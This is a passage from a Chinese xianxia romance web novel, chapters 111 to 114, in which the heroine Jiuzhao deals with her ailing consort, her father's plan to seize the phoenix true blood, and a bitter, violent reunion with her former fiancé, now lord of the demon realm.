九昭像条纤细的白蛇盘在一起,相接处也不愿抬髀抽离。 困意渐生,即将入睡时,她的耳畔传来祝晏近似自言自语的呢喃:“可说句心里话,我虽清楚自己的念头很自私,却还是庆幸他最后选择了叛天……否则他那么好,又怎会轮得到我。” 自卑,是祝晏和她相爱后经常出现的情绪。 九昭一时觉得他的话被人听见简直大逆不道,一时又觉得可怜可爱。她打了个哈欠,掐住他的侧脸:“祝晏就是祝晏,何须同他人相较?这世上千好万好的人许多,我偏偏一个都看不上。 “我钟情你,也只钟情你。” 祝晏笨拙地眨了眨眼。 分明方才她更换种种姿势的人是他,偏生眼下又分外纯情地红起耳廓来。 心火倏忽燃起,她改掐为磨,指甲沿着下颌线滑落,来到祝晏颈间,勾了勾他的喉结。 “还要再来吗?” 其实用不着给出答案。 她已然实实在在感受到了。 忽略眼前电光火石间,出现的巫逐假扮的那张,瞳孔暗淡的脸。 九昭顿了顿,再度露出笑意,将衾被拉过头顶。 奈何唇未印上,那神容不自觉填满期待的青年陡然捂嘴,剧烈咳嗽起来。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-120 111| 第111章 ◎“你真的可以吗?”◎ 因为咳嗽, 祝晏本就潮红的面色更红了。 他捂着口鼻,身躯如拉满的弓弦一般绷紧,唬得九昭赶紧从他腰腹上起来。 啵得一声, 类似木塞离开瓶口的细微动静响起。 九昭顾不得腿还软着, 连忙将祝晏扶起来上下摩挲后背为他顺气。 咳咳、咳咳、咳咳。 艰难的吸喘声在耳边断断续续,好容易等到祝晏平复下来,她才观察着他的面色,忧心忡忡地问询:“晏郎, 你的弱症越发严重了是不是——都怪我,明知你的情况,还这般没有自制力!” 祝晏深呼出口气, 选择性忽略了胸口攀升的闷痛。 他抬起被汗水濡湿的长睫,对着九昭故作轻松一笑:“没有严重,只是太欢喜了,一时岔了气而已……正所谓牡丹花下死, 做鬼也风流, 我倒盼着你能经常失去自制力。” “真是, 这种时候还没个正形!”九昭嗔怪瞪他一眼,又竖起根手指抵在他唇前:“还有什么死不死的, 不吉利的话以后不许再说!我既然练成了涅槃凤火, 就定会治好你!” 指甲的硬缘陷进温热唇肉,带起一点后知后觉的疼痛。 祝晏的视线顺着九昭纤细的手指, 看到她郑重其事的面孔。 片刻后, 充满信任和依赖地点了点头: “嗯, 昭娘, 我相信你!” …… 相拥而眠直至天光大亮。 由仙婢侍奉洗漱一番, 用过早膳后, 九昭便和祝晏来到了二清天神医署。 神医署的最高处,是杏杳办差的地方。 九昭的二清天有随时待命的专属医官,没来过几次这里。 踏入其中才发觉跟芸生世的竹林高脚楼一个构造——高大阴沉的木柜成排摆在窗旁,到处散落着或合拢或摊开的医书,中间还立着座小巧的四方丹炉,硬生生把宽阔的空间衬得逼仄起来。 两人性格不投契,见面也无寒暄,直接交流起祝晏的病情来。 “寿数将尽,衰弱是难免的,咳嗽不是什么大不了的症状,又没吐血。” 闻听九昭对于昨夜的描述,杏杳直白刻薄的语调一如既往,“到底这些年祝晏仙君长居于命牌内,受到神力温养,能维持如今的状态,已比寻常身患弱症者好上许多。 “殿下能在规定期限内练成涅槃凤火,祝晏仙君便还有活命的指望,我还差些日子就能把药制成,届时续脉洗髓之前,他先把药吃下来,能够提升成功的几率。” 九昭敏锐捕捉到其中的关键点:“怎么,难道这个法子还有可能会失败?” “自然,这世上哪有什么事,是一定能成功的?” 杏杳理所当然颔首,“就跟殿下修炼凤火一般,倘若祝晏仙君熬不过去,就会失败死去。” 宣告完这个残酷的事实不算,她又半撩眼皮,望着面带迟疑的九昭:“不过本来也快要死了不是吗?为了长长久久地活下去,赌上剩余的十几二十年的寿命,这笔账算起来很值得。” 祝晏亦在侧畔紧紧握住她的手:“昭娘,相信我,你能为我做到,我同样可以。” 三人商议一番,将计划暂定在一月以后。 为了保险起见,杏杳重新为祝晏把脉,又当着九昭的面故意指桑骂槐:“你这副身子,就应该寡欲寡求,保持六根清净——对敦伦之事就如此迫不及待吗?也不怕做到一半晕过去。” 说完,她催促祝晏赶紧回到命牌内,无事不要出来瞎晃荡。而后随手拿过长案上的一册医书,对九昭挑起眉毛:“殿下刚刚归来,不忙吗,怎么还盘桓在小臣这处?” 忍了再忍,方克制住翻白眼的冲动。 九昭伸手拽住她的后领,将身量似女童的矮个医仙提溜起来:“找你有事,跟我过来。” …… 将骂骂咧咧的杏杳抓到神帝的寝宫前。 用来招待宾客的侧殿打开,一身黑衣的兰祁从中踏出,与九昭正好撞见。 他仿佛遗忘了主动开口讥讽的昨夜,目不偏转地从她身旁经过,连一刻都不曾停顿。 “……” 九昭本在纠结要不要上前打招呼。 见到兰祁将自己视作陌生人的情形,又有种道不清的气堵。 装什么大尾巴狼! 她颅内再度出现那几句谜语似叫人猜不透的话,下意识想要回头狠狠瞪两眼他的背影,面前却传出紧随其后出来的丹曛的声音:“咦,殿下,这么早,您怎么来了?” “我来看望父神。” 九昭说明来意,右手纹丝不动抓在身后气鼓鼓的杏杳袖上,得到丹曛欲言又止的眼神。 “您请进吧,帝座刚与业尊饮完茶。” 大门开启,又在两人身后闭合。 殿内空荡荡的,九昭抬眼,望见支起一条腿,靠坐在室椅上的神帝。 他没有戴冕,一身家常袍服,越发显得夹杂在黑发中银白点眼。 九昭的视线凝在白发上一瞬,拱起双手,弯腰作揖:“儿臣见过父——” 神帝摆手示意免礼:“昭儿过来,听丹曛说你昨夜便求见了本座一次,是为何故?” 九昭不答,把杏杳拉到身前:“儿臣想知晓父神近来是否康泰,便请了医仙令来为您把脉。” 她的请求未经铺垫,陡然提出,显得有些突兀。 神帝眸间异色闪过,却也配合地伸出手腕,命杏杳输入仙力探知。 杏杳虽然做事散漫,嘴不饶人,到底对待术业十分仔细,她沉吟着操控仙力在神帝体内游走一圈,方收回手,垂落眼帘,慎重道:“帝座无恙,仅是神力有所损耗,料想乃前端征战之故。” “只是损耗了些神力,别的都不要紧吗?” 九昭神容不见松懈。 杏杳看了她一眼,又瞥了瞥神帝,索性说道:“殿下,您在路上问及臣的,两方父母为剧毒灵兽,结合生下孩子是否毒上加毒的问题,臣已跟您说过,不会出现这种情况,仙魔后代,要么从父要么从母。至于将剧毒炼化成无色无味,叫人神志恍惚的慢毒的修行方法,臣更是闻所未闻。” 她一口气说了许多,将九昭的老底揭了出来。 九昭的脸一阵白一阵红,反观在旁聆听的神帝表情沉静如旧。 “看来殿下和帝座这头已然不需要微臣了,微臣先告退。” 报复完一路上九昭对自己使用的蛮力,见势不好,杏杳又脚底抹油,一溜烟退了出去。 只剩下头大如斗的九昭,和喜怒不辨的神帝。 “父神。” 淅沥沥。 九昭轻唤的语声同茶水注入瓷盏的声音一同响起。 “儿臣有罪。” 她磕头下去,言简意赅地说出了从无日渊到凤凰树心,自己与巫逐之间纠葛的经过。 “巫逐欺骗儿臣,说利用颌下珠给父神下了毒,又以种种言语刺激,勾出了儿臣的心魔。如今儿臣涅槃归来,凤火虽成,可心魔难以消解,眼下颇为束手无策。” 维持叩首姿态,九昭态度哀恳,“最要紧的,幸好父神没有中毒,否则儿臣万死难辞其咎。” 将犯下的过错毫无保留说出,九昭的额头触在冰冷地面,肌肤被玉砖上的刻纹硌得生疼。 却不敢抬头,沉默着等待父神的判决。 半晌,她的肩膀被大手握住扶起,转眼视线中投进一盏馥香袅袅的清茶。 九昭愣愣地将茶盏捧在掌心,见神帝一指木案的对面:“昭儿,坐到那里去。” 于是这场对话变成了面对面形式,九昭越发不敢看神帝明睿的眼睛。 “巫逐既想通过心魔操控你,你又是如何从他的算计里逃过去,完成涅槃的?” 神帝的问题直至九昭难以启齿的核心。 嘴巴张张合合,欲言无声许久,九昭说道:“……儿臣让他爱上了自己。” “那么你呢,你可有爱上他?” 神帝又问。 九昭的语调艰涩:“不曾,可儿臣有过不忍……儿臣昔日总觉得利用他人真心者可耻。” “可你最终还是这么做了。” 神帝的结论笃定。 他平静的言语仿佛一记重锤敲在九昭心上。 她阖着眼睛,低低嗯了一声,说道:“责任在前,有些事不论我想不想做,而是该不该做。” 她说完这句话,神帝又是半晌未言语。 “喝茶吧,茶放凉便没有香气了。” 说着,他也为自己倒了一杯。 温度正好,清香微苦的滋味入喉,九昭满腔的心绪缓和不少。 她看着神帝有条不紊地进行着繁琐的茶艺。 满耳都是在神火之上小煮微沸的壶盖,轻轻扑打边缘的清脆动静。 神帝终于说起对于此事的处置:“心魔没什么大不了的,成神时会有一次化去污浊的机会。你没有辜负为父的期望,练成了涅槃凤火,那么为父会想办法帮你补全真血之脉,助你成为上神。” 补全真血之脉。 成为上神。 后者九昭幻想过几次,前者却是匪夷所思。 “凤凰真血,不是只能作为首领的双生子一人一半,待到结合分娩时才会归拢吗?” 她语带犹疑,不解反问。 神帝举起茶盏,笑了一笑:“只要昭儿亲手杀了另一个拥有真血者,也可以做到。” 属于神帝的笑容,从来都是温厚的、和蔼的、包容的。 如同三月春日来时,普照万物的明煦日光。 然而此时此刻,听他笑意温和地说出这句话,九昭突然不寒而栗。 “为了方便昭儿下手,那真血的拥有者便在此行魔族前来造访的队伍当中。” 顺着神帝的话,九昭记起,昨夜宴间,确有好几位出自凤凰族,力量高强的使臣——只是想要辨认,须得对方使用凤凰族专属的法术,才能进一步确定。 如此说来,那无日渊中长久处于活死人状态的巫劭,终是死在九天雷劫之下了? 九昭心中诡异地浮现出,养父子二人能在地下相聚,巫逐也不至于太寂寞的念头。 “不过。” 神帝熄灭神火,茶壶自浮空的状态自动落在案上。 随着砰的一声,他不紧不慢道,“你真的可以吗?哪怕敌人是你的同族,是你母神曾经的臣民,如若她不曾嫁给为父,他们日后也会是你的臣民——昭儿,对着他们,你下得了手吗?” 如若不是确定坐在自己对面的,是如假包换的父神。 九昭简直以为巫逐活了过来,又在挑拨她心底蠢蠢欲动的心魔。 可以吗? 真的可以吗? 抛开他们亦是凤凰族不提,九昭惊觉,归根究底,她其实没有真正杀过人。 她没办法不犹豫。 可犹豫了又能如何。 魔族生性贪婪,欲念无穷,过去也曾与三清天签订议和协议,不到万年又卷土重来。想要保障三清天的长治久安,就得不断削弱他们,打得他们无力还手,因此必须另一半真血夺回来。 九昭咬了咬牙:“我一定能够做到的,父神。” 神帝张开嘴,想说些什么。 最后又将眼帘垂了下去:“但愿那日真正到来之际,吾儿亦能坚定初心。” 112| 第112章 ◎“言语是最无力的东西。”◎ 神帝的话依旧只说了半截。 他告诉九昭另一半凤凰真血的拥有者, 就藏在魔族来客当中。 却不明言那人究竟是谁,以及怎么杀,何时杀。 九昭多问两句, 仅得到时机未到, 暂时不可泄露的搪塞。 无奈之下,她只好回去命朱映搜集些魔族使臣们的信息给自己。 朱映的效率一向很高,不出半日便将相关资料奉到九昭手中。 粗略浏览一番,九昭方知晓, 此次随同兰祁到来的使臣足有三十二人,一半为兰祁亲卫,一半为焚业海的贵族重臣, 亲卫里有三只凤凰,重臣当中则来了凤凰族的现任首领和两位长老。 真血之力非凤凰族不可得。 不过碍于其特性,在上一任拥有者去世,且没有子嗣的情况下, 会随机觉醒在某只凤凰身上, 不依据实力的高低, 也不遵从血脉的纯净程度,要明确究竟是六人里的哪位, 还真有难度。 九昭挑拣出有关凤凰族的资料, 细细阅读起来。 最后又将目光落在新任首领的名字上。 她平静的瞳孔因着那两个字映入眼帘,而出现明显的波动。 无咎。 咎为过失、错误。 无咎, 便是无错、无罪、何过之有。 这个名字对九昭而言, 不啻于一种明晃晃的挑衅。 据说这位首领原本的名讳并非如此, 无咎乃是在成为凤凰族长后, 兰祁亲赐之名。 “意思是觉得自己正义凛然吗?” 九昭将无咎的名字嚼碎在齿尖, 念了无数遍。 在注定得不到答案的嘲问过后, 她陡然生出前去会会这些本该成为自己臣民的叛徒的念头。 …… 九昭向来是个行动派。 产生想法,便带着朱映来到了二清天魔族使臣的居所。 她用眼神示意宫门口的戍卫不必通报,缓步踏进庭院,见三五手捧托盘的仙婢立于廊下,面色有些不好,而中央本该敞开的殿门关着,不用分神探知,就能感觉到内里上了屏声禁制。 最高阶的涅槃凤火既成,九昭距离成为上神仅差一步之遥。 她的实力今非昔比,区区禁制自然无法阻挡。 她收敛气息,提裙踏上台阶,贴近门扉,仙力无声扩张,不出两息,内里的清晰人声传来。 先是一道颇为粗犷的男声高声道: “呔,就这么认输了,真是不甘心!尊上一声令下,我还能跟他们仙族大战八百回合!” 紧接着,颇为婀娜妩媚的女声跟随其后: “轻声些,瞎嚷嚷什么?尊上有旨,我等听从就是,哪里轮得到你来说三道四?” “嘿,你这娘们——” “岩诞,魉夜说得没错,你难道不知道尊上是什么脾气? “这话若传到他耳里,小心你的石头皮!” 这响起的第三道声音,是个颇为悦耳的青年男音。 九昭正打算将他同资料里的使臣对上号,又听见那身份为一方城主的石魔岩诞问道:“无咎,你和两位长老不都是三万多年前,从三清天出去的吗?现在再回来,这滋味感觉如何?” 被叫到名字的那个男声沉默一瞬。 又不紧不慢说道:“没什么区别,依旧是那副乌烟瘴气,道貌岸然的模样。” 道貌岸然。 不止一个魔族在九昭面前如此形容三清天。 相同的评价,死了的巫逐也说过不少。 她并不打算为三清天辩解,但焚业海三番五次挑起事端,也不见得坦坦荡荡。 无言片刻,九昭听殿内的魔族将三清天里里外外评判一遍,而后话锋一转,拐到自己身上: “璇玑宫宴上,和那个九尾狐小子眉来眼去的神姬,听说是尊上的前未婚妻?” “你怎么又开始说起尊上的事——” “啧啧,那身段眉眼,就是放眼整个焚业海,也没几个女魔能比得上。我只是可惜,尊上怎么不先成婚与她圆了房再叛天,将她拐带过来,那神帝老儿不是更气得跳脚?” “可拉倒,我听说她不学无术,性格又极其不好,一个空有美貌的草包,哪里配得上尊上?” “哈哈,魉夜,我看你是嫉妒心发作了吧?” “去你的!” 两魔打情骂俏间,许久不说话的无咎又插嘴道:“一个太婀不遵从族规,与外人通/奸生下的残次品,自然是个草包,我且看着她成为神帝,三清天来日在她的带领下,会落得个什么下场。” 他的语调犹带笑意,内里的含义却锋利如刀。 朱映甫听已觉不好,他立刻担忧地望向九昭,生怕昔日孟楚之事再度上演。 打了一个孟楚,终究是关起门来能够解决的家务事。 可倘若直接动手教训魔族—— 可能出现的后果未在朱映脑海展开,那头九昭已释放涅槃凤火,连大门带禁制一起冲开。 轰! 炽烈的热风疾扑而去,将众魔案上的酒菜挨个掀翻,殿内的情形顿时化为一片狼藉。 九昭到底留了余地,也没唤出打神鞭,只抱起双臂,款步而入。 “大胆,是谁——” 涅槃凤火持续释放,目空一切的蛮横力量压得所有人抬不起头。 九昭在赤色仙光的环绕下,寻到按照身份,坐在主座下方第一位的青年,居高临下望着他释放魔气,勉力抵挡高热的狼狈模样,问道:“你就是凤凰族现任首领,无咎?” 耳尖的魉夜分辨出了九昭的声音。 她不住口地尖叫道:“神姬殿下,您如此行径,是要破坏仙魔两族之间的和平吗?!” 见对方绝口不提自身冒犯在前的过失,开始给九昭扣帽子,落在后方的朱映上前一步,习惯性地张口,想要替九昭夺回话理:“魉夜城主说的哪里的话,我家殿下分明——” “分明是本殿推门的时候不小心力气大了些。” 九昭抢白朱映的话,微微弯起眼睛。下一瞬,涅槃凤火已然暗从她的心意,如到往无形的风般消失在原地,殿内除了杂碎的碟盘和七拐八倒的魔族,半点仙术释放的痕迹不余。 她又随手凝出一颗录影球,诈他们道:“诸位方才的言论,本殿已封在这仙术球之内,为着两族和平邦交,本殿并不会上报父神。等下见到业尊,自是将这颗球赠予他,看看他会如何定夺。” 明白九昭意图的朱映,亦在此刻一唱一和道:“殿下宽容大度,不与计较,你等却是见面连基本的礼仪都不行,真不晓得究竟是谁意欲破坏两族邦交,不如我们到神帝面前辩个分明?” 洒落的饭菜,破碎的碗碟,尚天女散花般倒在手边。 罪魁祸首却被冠以宽容大度、既往不咎的名头。 一时间,饶是脸皮厚如众魔,也不禁傻了眼。 “你们!” 性格莽直的岩诞不服气,打算上前争吵几句,反被魉夜拽住衣袖。 “不要惹事。” 她肃容用气声提醒着,而后率先交臂叩首:“焚业海,魑魅城主魉夜,拜见九昭殿下。” 有她做例,其他人纷纷伏倒下去。 九昭无视了满殿面上臣服,实则心不甘情不愿的目光。 她抬步上前,踩住最后才俯身下去的无咎的衣袖。 刺绣在布料上闪闪发光的、象征高贵身份的凤凰纹路,被轻描淡写碾进鞋底。 九昭亦弯腰凑近他的耳侧,勾起唇角:“你看,钟情外族又如何,残次品又如何——你们当年不满本殿母神的行为,举族叛变,如今不还是要忍气吞声,变作最低贱的猪狗来臣服于我?” 不稳的呼吸骤然截断。 无咎因堕魔而呈现赤红的瞳孔收缩如针。 他猛地抬头,目眦欲裂,眼底满是无可遮掩的杀机和怒意。 九昭却觉得可笑。 甚至没有半点尊严受到冒犯的不适。 如今她才想明白。 言语是最无力的东西。 失败者报复不起,才会如同苦夏时节的知了般,一遍又一遍宣泄着自身的不甘和无可奈何。 她又要开口,兰祁一如寻常的嗓音,却从身后破了的殿门口传入: “九昭殿下大驾光临,是孤有失远迎。” 兰祁半点没有替众魔出头的意思,也不吩咐廊下仙婢,只叫随行亲卫打扫清理。 原本空荡的殿宇,随着十数位黑袍甲位的涌入,一下子变得拥挤不堪。 他朝九昭伸出手,不复昨夜的讥诮尖刻,也非晨间邂逅时的淡漠冷情。 他眉眼温澹地说道:“宫室逼仄,人头攒动,你我许久不见,殿下可要同孤换个地方喝上一杯?” 兰祁的邀请仅仅是邀请。 仿佛九昭去与不去,他都不在意。 可莫名的情绪驱使着,好似她若拒绝,便是在心虚惧怕些什么。 拂了拂衣袖上不存在的尘土,九昭随即扬起头来,昂然一笑:“要去何处,业尊定夺便是。” 113| 第113章 ◎“你果然还是跟以前一样。”◎ 穿过庭前葱郁花园, 信步出殿,九昭多少冷静了点。 一路上兰祁并未透露要去哪里饮酒,她便以为他方才的说法是给彼此个台阶。 今日见识过了叛徒凤凰族的架势, 九昭更坚定几分要夺走他们所依仗的真血之力的决心——说是停战议和, 实则背后心不甘情不愿,还对她和母神诸多诋毁,不知到底打的什么主意。 收起思绪,她抬步想走, 一道颀长身影拦在面前:“不是同殿下说了一起饮酒?” 迎着兰祁半垂的视线,九昭轻嗤:“业尊何必惺惺作态,难道对着本殿, 你真能喝下去?” 兰祁无视她话里的机锋:“如今焚业海决议与三清天一笑泯恩仇,孤自然是真心实意。” 话音落在“真心实意”四个字上微顿,他黑沉无光的瞳孔中又显出九昭看不明白,但不舒服的情绪, “还是说殿下尚未放下千年前的旧事, 所以害怕与孤单独相处?” 这话正中九昭的死穴。 无所谓眼前人是否为旧爱, 让九昭不战认输,倒不如干脆把她杀了。 殿内抗衡时闪现的冲动, 又于此刻无声左右她的念头。 略过站在身旁的朱映投来的隐晦劝阻眼神, 她再度同兰祁对上:“是业尊一路上的沉默态度叫本殿摸不着头脑,既然喝得下去, 那业尊在前面带路, 本殿定奉陪到底。” 说着, 她示意朱映跟上。 兰祁偏又在这时摇首:“孤说了, 是与神姬殿下单独相处。” …… 这场对峙到最后, 兰祁舍去了车架华辇, 九昭抛下了仙婢侍从。 两人如最低等的散仙般,在二清天的云端间穿梭着。 又是全然的沉默,九昭一时望着前方兰祁上下翩飞的玄黑衣摆,一时左右环视,判断着这条路线的终点为何处,直至它与她记忆的某些片段彻底相合—— 兰祁竟带她来到了澄心池。 二人足履落地,九昭仍在疑惑他为何选了这里。 兰祁抬步,径直朝浮岛中央的碧落神木走去,冷不丁开口道:“想不到你学聪明了。” “?” “本以为你会召出打神鞭,不管三七二十一将孤的使臣们都打一顿。” 面对青年的意有所指,九昭瞬间明悟。 却装成听不懂的样子,问道:“本殿不知业尊在说什么。” 闻言,兰祁侧过头来,看了她一眼。 这个发生得动作极快,快到九昭眼帘来不及凝出具象的画面。 她恍然觉得兰祁勾起唇角在笑,定睛瞧去,对方又只留给了她一个无情的后脑勺。 席地而坐,双手一挥,变出矮案和美酒后,兰祁才说道:“那你把录影球拿给孤看看。” 九昭跟在后方,不情不愿挪过去的身形顿时一滞。 录影球是她拿来诈那些傻瓜魔族使臣的,里面又不是真的有内容。 九昭本以为兰祁是在戏码进行到尾声时才来的,谁料对方将前面的威胁也听了进去。 情形颠倒,优势转眼回到兰祁手里。 他刻意重复一遍索要录影球的语句,又问:“殿下怎么没反应,是孤说话的声音太小了吗?殿下拿不出录影球,若还想叫孤惩处手下人的话,孤很难办啊。” 兰祁这么说,实际的意思再清楚不过了。 九昭不成想他这么无赖,脸色一阵红一阵白,咬牙诘问道:“他们口出的恶言,不止本殿亲耳听到,本殿的仙官朱映,以及廊下那么多仙婢全都听到了——业尊还想包庇不成吗?” “这里是三清天,处处生活着仙族之人,我焚业海势单力薄,只能你们说什么就是什么了。” 九昭气得额角青筋直突:“你不惩处便不惩处,何必颠倒是非黑白?” 兰祁曲腿支肘坐在草坪,抬眼望着她,这样略显粗鲁的动作,由他做来别有一番潇洒风情。 相较九昭的表情动荡,他依旧满面沉静:“所以殿下预备怎么办?” 自己出来跟他喝酒真是错了! 九昭第一次认识到了“话不投机还讨打”是什么意思。 她丢下句“不怎么办”,转身想走,兰祁偏抬手抓住了她的左腕。 “干嘛?放手!你逾矩了——” 这次没有衣料的遮挡,兰祁的体温肉贴着肉传来。 些许赧然错愕过后,九昭一面高声呵斥青年的无礼,一面用劲试图挣开。 “酒还没开始喝,殿下怎么要走? “不怎么办太敷衍,孤向来知晓殿下是个睚眦必报的人,殿下不如明说。” 明说什么? 明说若真血的另一半拥有者是无咎,她定将他千刀万剐,还是倘若不是,她也会求得父神同意,命焚业海将无咎这位凤凰族长作为“质子”送来三清天,从此以后叫他求死不得,日日悔过? 被兰祁的言行牵制着,九昭心底的心魔蠢蠢欲动浮出阴暗念头。 她另手并指未掌,想朝兰祁的手背打去,倏忽瞥见隐在他衣袖里的一线红褐色。 动作又是一停。 “这是什么?” 她弯腰一把拽住兰祁的衣袖,将袖口往手肘翻去。 “没什么——” 青年条件反射松开手指,意欲将手藏到背后,却凭空听到撕拉一声——九昭将紧紧贴住手腕肌肤的雪白亵衣撕裂开来,露出由褐色木枝和鲜红丝带交织而成的手环。 这回,窘迫的神色出现在了兰祁的面上。 “为什么,你手上还戴着我赠予你的连理枝?” 乍见象征过往情意的旧物,九昭声调冷了下来。 她想也不想凝出一团涅槃凤火,劈掌试图毁去。 那头,兰祁为了保护连理枝,竟然徒手覆在其上,放任肌肤被烈火灼伤。 “唔!” 触及对方忍痛微蹙的眉眼,九昭只觉亦有熊熊火焰在煎熬心脏。 厌弃她的是兰祁。 处心积虑在婚礼上将她气到吐出心头血的亦是兰祁。 如今,这般奋不顾身,不息自身受到损伤也要保护手环,又是为了什么?! 九昭没有熄灭涅槃凤火。 火光照亮她阴沉的眼底,她冷冷看着兰祁的血肉被烧焦,直至露出森白指骨。 “给了孤、便是孤的东西—— “就跟那些、写在每张画纸后的‘忍’一样,孤要用手环提醒自己,在三清天、度过的每一日。” 双手受制,兰祁无法使用魔气来对抗涅槃凤火。 他生生等到凤火的力量耗尽,才苍白着一张俊面,以断续言语回击。 “原来如此。” 九昭意味不明地应了一声。 她蹲下/身体,拾起矮案上未曾开封的美酒,拔出木塞,将瓶口对准兰祁的伤口,尽数淋了上去,“无需借助手环,业尊不想忘却恨意,本殿现在就可以助你好好回忆。” 烈酒碰上伤口,剧痛激得兰祁五官一阵扭曲。 在彻骨怨毒袭上眸光的同时,他情不自禁感受到心口处传来的强烈快意。 “昭昭。” 强忍着阵阵发黑的感觉,兰祁轻声唤出九昭的乳名。 这个在过去,唯有他和神帝方能唤出口的,象征最亲密无间关系的乳名。 他对着九昭半弯嘴唇,“你果然还是跟以前一样,恶毒、浅薄、跋扈……果真一模一样。” “随便你怎么想。” 或许是因为终究太了解彼此,分明受到身体伤害的是兰祁,九昭亦感同身受地嗅到了呼吸起伏间的腥甜气息——这股气息昭示着她灵魂深处的鲜血淋漓。 可她还是故作轻松地耸了耸肩,“我从来不关心一个不重要的人会如何看待我。” 是时候离开了。 她克制着眼神,自兰祁的面孔收回,慢慢直起身体。 头上斜插的发钗却在此刻闪烁起来。 这是她与祝晏约定的标志。 发钗的另一头连接着长乐命牌内的境阙,每当祝晏有事寻她,便会点亮钗身上附着的仙力。 九昭没有立刻回应。 而是面无表情地俯瞰兰祁,又从袖口中掏出块手帕,丢到他手边。 “烦请业尊将伤口捂好,本殿的仙侣身体虚弱,见不得如此血腥的场景。” 说话间,她变化着面孔的每一块肌肉,重新回归如往日般的生机勃勃,不知怨恨为何物。 仙光亮起,身着月白长衫的祝晏在他们中间凝结。 “昭娘,我照着芸生世收集来的食典新制了道菜,你要不要尝尝?” 人虽未见,笑语先闻。 兰祁虽沉默,到底应了九昭的要求,用帕子捂着伤口藏在身后。 这边,堪堪看清当下场景的祝晏尴尬一挠额头:“啊……我不知道昭娘你在跟业尊饮酒,是不是打扰到你们了?” “怎会。” 九昭莞尔上前,挽住祝晏的小臂,歪头靠在他的肩膀处,带着他一起转过身去,“业尊邀我来此,商议了一番两族之间的公事,如今正好谈完了,我才想着放你出来,和你一起回去。” 她亲昵地唤着“晏郎”,并未察觉被留在原地的兰祁,越来越暗的眼神。 “哎,昭娘,你别拉着我直接走呀,怎么说也得跟人家业尊打个招呼告别才是……” 祝晏用了巧劲,将九昭挽臂的手指捏进掌心。他回过头,弯起双眼,对着兰祁歉然一笑:“业尊,真是抱歉,若你也想尝尝我做的菜,可以同来离恨天——” “不必,孤还有事要忙。” 漠然打断他,兰祁用没受伤的手取过酒瓶,仰首将仅剩的一点酒液喝了下去。 九昭亦温和劝告:“那菜你不是才学吗?等哪天熟练了我们再邀请业尊过来做客吧?” 祝晏从善如流道:“也好。” 两人相偕着逐步远去。 …… 不多时,澄心池仅剩兰祁一人。 他倚靠树身,坐了很久很久,眼中的风景从日光清澄到余晖夕照。 像是终于累了,他无知无觉摊开手,完好的酒瓶早已消失不见。 纯白的齑粉混合着小块的瓷器碎片,中间夹杂着鲜红点点。 恰如天地寂寥处的白雪红梅,美丽却徒增凄艳。 【作者有话说】 就这个异性恨爽!! 114| 第114章 ◎“想要昭娘的目光,全部落在我身上。”◎ 祝晏的天赋落在厨艺上照样出众。 他虽谦虚表示只是依样画葫芦的尝试, 但菜肴做出来并不逊色于九昭的小厨房。 九昭维持着和煦的笑意,陪他用完晚膳,又听了他弹奏过新制的曲谱, 两个人坐在亭中, 月色漫天,就着曲中情致讨论半晌。戌时中刻,祝晏方恋恋不舍地同她告别,回到长乐命牌内。 回到寝殿, 九昭唇畔的弧度彻底消弭。 她的秀面毫无表情,两颗瞳珠却寒浸浸的。 快步走到床边,从墙壁暗含的结界中拉开抽屉, 取出断成两截的手环和画纸。 掌心攥着两样东西,折返至窗旁长案前坐下,九昭耳畔又响起白日时兰祁说过的话。 承载着她少女时期全部情感的连理枝,戴在兰祁的手上, 却被他用来当作勿忘耻辱的提醒。 手环的存在, 远比销毁, 更显她曾经付出真心的可笑。 赤红的涅槃凤火在九昭摊开的掌心起伏摇曳,犹似一朵盛开到极致的重瓣牡丹。 某个刹那, 九昭很想不管不顾将过去的回忆通通烧成灰烬。 但胸口处像是有什么事物在不断冲击皮肉, 渴望突破而出的阵痛告诉她,这一切不过是心魔作祟——它渴望从负面情绪中汲取壮大自身的力量, 才会不断挑拨她的心绪, 让爱恨变得剧烈。 若遵从欲/望, 放大嗔恨, 无异于遂了它的愿。 …… 九昭攥紧拳头, 堪比日光耀眼的火焰又在她指间熄灭。 她展开被捏皱的画纸, 翻到背面,用镇纸压住上下两边,一言不发注视良久。 最终拿起青玉笔架上的毫笔,将笔端狠狠摁进墨意未干的砚台中。 盖过兰祁的笔迹,在上面重新笔走龙蛇地书写下一个新的忍字。 在南陵修习多年,她的字进益昭著,力透纸背,显出银钩铁画般的风骨。 克制的心绪借由书法抒发,她竟觉得忍耐比放纵更叫心底舒坦些。 沉浸间,发钗上的仙芒倏忽盛放。 祝晏的身影出现在寝殿,赤光中,他欢欢喜喜说道:“昭娘,我又回来了。” 骤然被人打断,那勉强压制下去的心魔,又有了反扑的迹象。 九昭喉咙一甜,再回神,咄咄逼人的诘问已然冲口而出:“不是说了必须得到我的允准,才能从命牌里出来的吗,你怎么如此随意,连招呼也不打一个?!” 祝晏一怔,脸上的笑容多出几分无措和勉强。 他的眼神迅速掠过书案上的两样东西,低声道:“……我不小心,在亭子里落了外袍。” “……” 真该死。 怎么又被心魔鼓动了一次。 九昭顿时内疚起来:“抱歉,晏郎。” 她放下手中毫笔,垂落面孔定了定心神,却不知该如何向祝晏解释自己突如其来的脾气。 那头,祝晏也只是沉默不语。 幸而,尴尬的气氛仅仅维持了几息。 身穿单衣的青年跪坐下来,握住她的手:“昭娘,其实,我能感觉到你回来后的变化……每个人都有她的过往,过往也是人生的一部分,是无法泯灭的——我不在意那些,只在乎当下。 “没关系的,你有心事,不论什么都可以同我说,我会尽己所能去理解你。 “毕竟,我们是要携手一生的爱人啊。” 对于能制风雅琴谱,能作华美词赋的祝晏而言,这一番话没有任何修饰,说得质朴无华。 可其中蕴含的纯挚情感,却叫九昭感到感动且羞愧。 树心内发生的一切勉强能说不得已,然而今朝,她又被另一个男人牵动了心魔。想好了要坦诚以告的秘密,在同父神面谈过后,被他告诫未收回凤凰真血前,不得打草惊蛇。 她隐瞒了太多东西,实在不是个合格的伴侣。 趁九昭垂头无言之际,祝晏的视线在书案上逗留得久了些。 背对烛光的阴霾里,无人能够读懂此刻他眼里的表情。 良久,九昭微不可闻地颔了颔首:“嗯,有什么心事,我会告诉你,只是暂时不到时机。” 见她看起来实在不是需要人陪伴在旁边的样子,祝晏善解人意地又安慰几句,劝她早些休息,随即从凉亭的石椅上取回外袍,化作一缕仙光涌入了发钗当中。 …… 九昭不来的境阙,夜从来都是冷的。 祝晏不曾点亮烛火,在黑暗中仰着面孔站了许久。 “不告而别进入树心,回来以后又隐瞒了很多秘密—— 